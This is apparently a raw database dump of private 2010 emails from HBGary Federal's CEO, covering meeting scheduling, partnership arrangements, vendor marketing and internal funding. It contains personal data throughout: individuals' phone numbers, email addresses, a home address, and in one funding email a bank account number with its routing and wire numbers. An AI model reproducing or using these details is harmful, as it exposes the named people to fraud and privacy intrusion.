\r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 5/6/2010 8:26 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n  Great!  Can I suggest the morning of the 19th here at the SCO?\r\n\r\n-----Original Message-----\r\nFrom: Ray Owen [mailto:ray.owen@farallon-research.com] \r\nSent: Thursday, May 06, 2010 11:26 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nCc: \'Aaron Barr\'; \'nathan.atherley@farallon-research.com\'; LachowI@ndu.edu\r\nSubject: Re: Virtual Introduction\r\n\r\nIrv,\r\n\r\nAaron and I are eager to meet. We\'ve been trying to get something set up for\r\nmy past couple of trips, and the scheduling just didn\'t work out. The week\r\nof the 17th is great.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel 202.596.1829|cell 650.464.5570\r\n\r\n\r\nOn 5/6/2010 7:37 AM, Lachow, Irving Mr OSD ATL wrote: \r\n\r\n	Ray,\r\n\r\n	I\'d like to introduce you to Aaron Barr.  Aaron spent some time\r\nworking in the IC before moving to NG.  He has been thinking about the same\r\nproblem that the \"cyber accelerator\" is meant to solve.  In fact, his way of\r\nthinking is extremely similar to yours.  Aaron\'s has some very interesting\r\nideas that could dovetail nicely with both the accelerator and the CID\r\ndemos.  The two of you have to get together and chat.  Can I set something\r\nup the week of the 17th?\r\n\r\n	Regards,\r\n\r\n	Irv \r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n\r\n	\r\n\r\n  \r\n\r\n\r\n\r\n',2087,'aaron_hbgary_com/2087.html'),(6032,'2010-05-06','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004364.M355427P14101Q887.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hi Aaron,2pm tomorrow (Friday May 7) works for the team. Let me know how you\'d like the presentation to happen.Best wishes,ArnavOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',3577,'aaron_hbgary_com/3577.html'),(6033,'2010-05-06','\"Steve Jacyna\" <steve.jacyna@carahsoft.com>','/aaron@hbgary.com/new/1297004364.M577286P14101Q888.eml','\"Aaron Barr\" <aaron@hbgary.com>','Next Generation VPN Solution from CipherOptics','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n			Dear Aaron, \r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			At Carahsoft, we feel it is important to share new products or technologies that can help our customers and colleagues&nbsp;meet their security needs, especially when those technologies offer groundbreaking improvements over existing solutions.\r\n			&nbsp;\r\n			With that in mind, we would like introduce you to a next generation VPN solution from CipherOptics that offers all the protection of standards-based encryption, without the need for IPsec tunnels. This unique solution can be deployed easily, without the need to modify your existing routed or switched infrastructure. In fact, it&rsquo;s even transparent to latency-sensitive applications such as VoIP. \r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			If you are currently implementing, or considering implementing IPsec VPNs to protect your data, spending a few minutes to learn more about this solution now could save you a lot of time and frustration in the future. \r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			Please give&nbsp;me a call at (703) 871-8680 for a quick introduction to this technology. \r\n			\r\n			\r\n			Sincerely, \r\n			\r\n			Steve Jacyna\r\n			CipherOptics Government \r\n			at Carahsoft Technology Corp.\r\n			703-871-8680 (Direct)\r\n			888-662-2724 (Toll-Free)\r\n			steve.jacyna@carahsoft.com \r\n			www.carahsoft.com/cipheroptics \r\n			\r\n			\r\n			If you are not currently in the market for a data protection solution, please let&nbsp;me know if you would like additional information about this next generation VPN solution. \r\n			\r\n			\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',2040,'aaron_hbgary_com/2040.html'),(6034,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004364.M820729P14101Q889.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Schedule','I can meet on the morning.  I have an 1130 in tysons.From my iPhoneOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nGot any time on Friday to come visit and talk about teaming?  Today is a wash.\r\n\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13078,'aaron_hbgary_com/13078.html'),(6035,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004365.M345920P14101Q891.eml','\"Rich Cummings\" <rich@hbgary.com>','Fwd: NDA and Collaboration','Can u support a 2pm Webex, capabilities demonstration?AaronBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: May 6, 2010 12:06:14 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;Subject: Re: NDA and CollaborationHi Aaron,2pm tomorrow (Friday May 7) works for the team. Let me know how you\'d like the presentation to happen.Best wishes,ArnavOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7710,'aaron_hbgary_com/7710.html'),(6036,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004365.M592535P14101Q892.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"Ray Owen\" <ray.owen@farallon-research.com>,,','Re: Virtual Introduction','Sounds good to me.AaronSent from my iPadOn May 6, 2010, at 11:34 AM, Ray Owen &lt;ray.owen@farallon-research.com&gt; wrote:\r\n\r\n\r\nWorks for me. Thanks, Ray\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 5/6/2010 8:26 AM, Lachow, Irving Mr OSD ATL wrote:\r\n\r\n  Great!  Can I suggest the morning of the 19th here at the SCO?\r\n\r\n-----Original Message-----\r\nFrom: Ray Owen [mailto:ray.owen@farallon-research.com] \r\nSent: Thursday, May 06, 2010 11:26 AM\r\nTo: Lachow, Irving Mr OSD ATL\r\nCc: &#39;Aaron Barr&#39;; &#39;nathan.atherley@farallon-research.com&#39;; LachowI@ndu.edu\r\nSubject: Re: Virtual Introduction\r\n\r\nIrv,\r\n\r\nAaron and I are eager to meet. We&#39;ve been trying to get something set up for\r\nmy past couple of trips, and the scheduling just didn&#39;t work out. The week\r\nof the 17th is great.\r\n\r\nThanks,\r\nRay\r\n\r\n\r\n\r\nRay Owen|ray.owen@farallon-research.com|tel 202.596.1829|cell 650.464.5570\r\n\r\n\r\nOn 5/6/2010 7:37 AM, Lachow, Irving Mr OSD ATL wrote: \r\n\r\n	Ray,\r\n\r\n	I&#39;d like to introduce you to Aaron Barr.  Aaron spent some time\r\nworking in the IC before moving to NG.  He has been thinking about the same\r\nproblem that the &quot;cyber accelerator&quot; is meant to solve.  In fact, his way of\r\nthinking is extremely similar to yours.  Aaron&#39;s has some very interesting\r\nideas that could dovetail nicely with both the accelerator and the CID\r\ndemos.  The two of you have to get together and chat.  Can I set something\r\nup the week of the 17th?\r\n\r\n	Regards,\r\n\r\n	Irv \r\n\r\n	Irving Lachow, Ph.D.\r\n\r\n	Director, Cyber Programs\r\n\r\n	Special Capabilities Office\r\n\r\n	NIPR: irving.lachow@osd.mil\r\n\r\n	SIPR: irving.lachow@osd.smil.mil\r\n\r\n	JWICS: irving.lachow@osdj.ic.gov\r\n\r\n	Office:  (703) 746-1226\r\n\r\n	Cell:  (202) 556-0591\r\n\r\n	\r\n\r\n	\r\n\r\n  \r\n\r\n\r\n\r\n\r\n',15226,'aaron_hbgary_com/15226.html'),(6037,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004365.M63865P14101Q890.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','ok great. &nbsp;Just circling back around to set everything up. &nbsp;Once I get everyone lined up I will send out a Webex invite.Thanks,AaronOn May 6, 2010, at 12:06 PM, Arnav Manchanda wrote:Hi Aaron,2pm tomorrow (Friday May 7) works for the team. Let me know how you\'d like the presentation to happen.Best wishes,ArnavOn 2010-05-06, at 8:50 AM, Aaron Barr wrote:Hi Arnav,My week is getting away from me. &nbsp;Not sure what you still might be able to pull together this week, or early next week. &nbsp;If tomorrow can still work how is 2pm EST? &nbsp;Otherwise let me know availability next week.\r\nRafal said he was coming to DC in a few weeks. &nbsp;We discussed working a time to meet in person while he is here. &nbsp;Can u set that up?Thanks,Aaron&nbsp;Sent from my iPad\r\nOn May 4, 2010, at 5:35 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:\r\nArnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?\r\nAaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.ca\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and Collaboration\r\nNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1216,'aaron_hbgary_com/1216.html'),(6038,'2010-05-06','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004365.M832665P14101Q893.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Schedule','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow&#8217;s the afternoon?&nbsp; Say 2:00?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 06, 2010 2:00 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI can meet on the morning. &nbsp;I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nGot any time on Friday to\r\ncome visit and talk about teaming?&nbsp; Today is a wash.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; |Chris Clair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1056,'aaron_hbgary_com/1056.html'),(6039,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004366.M289946P14101Q895.eml','\"Aaron Barr\" <adbarr@mac.com>','bit.ly','R_b298798eae42008448083d16f7696c75\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8659,'aaron_hbgary_com/8659.html'),(6040,'2010-05-06','\"AFCEA NOVA\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297004366.M611243P14101Q896.eml','\"Aaron Barr\" <aaron@hbgary.com>','Your request to join a LinkedIn Group has been accepted','\r\n\r\n  \r\n\r\n  \r\n    LinkedIn Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: AFCEA NOVA\r\n        Subject: Your request to join a LinkedIn Group has been accepted\r\n      \r\n			Hi Aaron,\r\n			\r\n			Congratulations! You have been approved to join the group AFCEA NOVA.\r\n    \r\n	    -- The LinkedIn Team\r\n	    http://www.linkedin.com/\r\n    \r\n  \r\n    \r\n      Go to the group\r\n    \r\n    \r\n    \r\n    LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n    \r\n\r\n\r\n\r\n',15272,'aaron_hbgary_com/15272.html'),(6041,'2010-05-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004366.M62304P14101Q894.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Schedule','I am jammed the rest of the day up by NSA.  I am up at NSA monday afternoon too but morning is free.  Tuesday is good for me too.AaronSent from my iPadOn May 6, 2010, at 2:49 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow’s the afternoon?  Say 2:00?\r\n\r\n \r\n\r\nChris\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 06, 2010 2:00 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Schedule\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nI can meet on the morning.  I have an 1130 in tysons.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 6, 2010, at 10:40 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nGot any time on Friday to\r\ncome visit and talk about teaming?  Today is a wash.\r\n\r\nThanks,\r\n      Chris\r\n__________________________________________________\r\n  |Chris Clair | Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1104,'aaron_hbgary_com/1104.html'),(6042,'2010-05-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004366.M861875P14101Q897.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: HBGary Federal Funding','Hi Penny,\r\n\r\nWill you be able to make this deposit or pay the cast Project B\r\ninvoice this week? Funding is getting tight.\r\n\r\nTed\r\n\r\nOn Monday, April 12, 2010, Penny Leavy-Hoglund  wrote:\r\n> Hey Ted,\r\n>\r\n> I think I paid in $70K initially.  HBGary has paid for a total of $19593.29.\r\n> My initial contribution was $50K, so I should have a $20K credit.  HBGary\'s\r\n> initial payment was $15624.99 so HBGary has a credit of $3968.30 toward it\'s\r\n> second payment.  I would have a $40K, so my payment would be $19013.33.\r\n> Rich and Bob would owe the full amount and I think you should have had the\r\n> payment for GD put into your account as well, correct?\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, April 12, 2010 9:55 AM\r\n> To: Penny Leavy-Hoglund; Bob Slapnik; rich@hbgary.com\r\n> Cc: \'Aaron Barr\'\r\n> Subject: HBGary Federal Funding\r\n>\r\n> The first quarterly round of HBGary Federal funding was due on April\r\n> 1st, with amounts due as follows:\r\n>\r\n> Penny Leavy:  $39,013.33\r\n> HBGary Inc:  $12,191.67\r\n> Nina Slapnick:  $5,689.45\r\n> Rich Cummings:  $1,625.57\r\n>\r\n> Please send your check to:\r\n>\r\n> HBGary Federal\r\n> C/O Ted Vera\r\n> 874 Legend Oak Dr.\r\n> Fountain, CO 80817\r\n>\r\n> or transfer / wire:\r\n>\r\n> The acct # is 3803053804\r\n> The routing # is 121042882\r\n> The wire routing # is 121000248\r\n>\r\n> Please let me know if you have any questions.\r\n>\r\n> Ted\r\n>\r\n>\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4763,'aaron_hbgary_com/4763.html'),(6043,'2010-05-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004367.M125377P14101Q898.eml','\"Barr Aaron\" <aaron@hbgary.com>','Roger','I\'m having lunch with Roger tomorrow at 11.\r\n\r\nTv\r\n',7428,'aaron_hbgary_com/7428.html'),(6044,'2010-05-06','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004367.M366564P14101Q899.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Malicious code KOs four Treasury cloud-hosted Web sites','Who do we know at the treasury?Begin forwarded message:From: Security IT Update &lt;govinfo@1105newsletters.com&gt;Date: May 6, 2010 10:17:16 AM MDTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: Malicious code KOs four Treasury cloud-hosted Web sitesReply-To: Security IT Update &lt;govinfo@1105service.com&gt;\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        Having trouble viewing this e-mail? \r\nClick here to view as a Web page. \r\n        \r\n        \r\n        \r\n          		\r\n \r\n		\r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              Security IT  Update\r\n              \r\n            \r\n          \r\n          \r\n            \r\n\r\n            \r\n\r\n            \r\n\r\n            \r\n\r\n            \r\n\r\n          \r\n        \r\n        \r\n  \r\n    \r\n    \r\n    \r\n    \r\n      5/6/2010\r\n    \r\n      \r\n\r\n \r\nTreasury shuts down 4 cloud-hosted Web sites after infectionMalicious code, which apparently came from servers in Ukraine, discovered in four Treasury Web sites hosted by a cloud service provider causes Treasury to shut down infected sites.\r\n\r\n\r\n\r\n \r\nNIST will coordinate national cybersecurity education program\r\n   \r\nFederal mortgage watchdog agency struggles with  info security \r\nDon\'t let SSL be used against you \r\nCyber criminals get sloppy in recent attacks \r\nRockefeller calls for public-private action on cybersecurity\r\n\r\n \r\n\r\n\r\n\r\n\r\n  \r\n    Take the FCW Challenge\r\n  \r\n  \r\n    \r\n      \r\n      \r\n         \r\nNow open for debate: Cybersecurity and federal employees\r\n        It\'s your turn to tell us what\'s really going on! In the FCW Challenge, we\'re going to devote an entire issue of Federal Computer Week magazine to the \"Six Big Questions for the Future of Gov. 2.0.\" Up for debate here: cybersecurity and federal employees.\r\n      \r\n      \r\n\r\n  \r\n\r\n\r\nMore News\r\n \r\nThe top threats to government systems, and where they\'re coming from\r\n  \r\nLawmakers circulate draft consumer privacy bill \r\nCybersecurity firm scooped up for $25 million  \r\nBattling 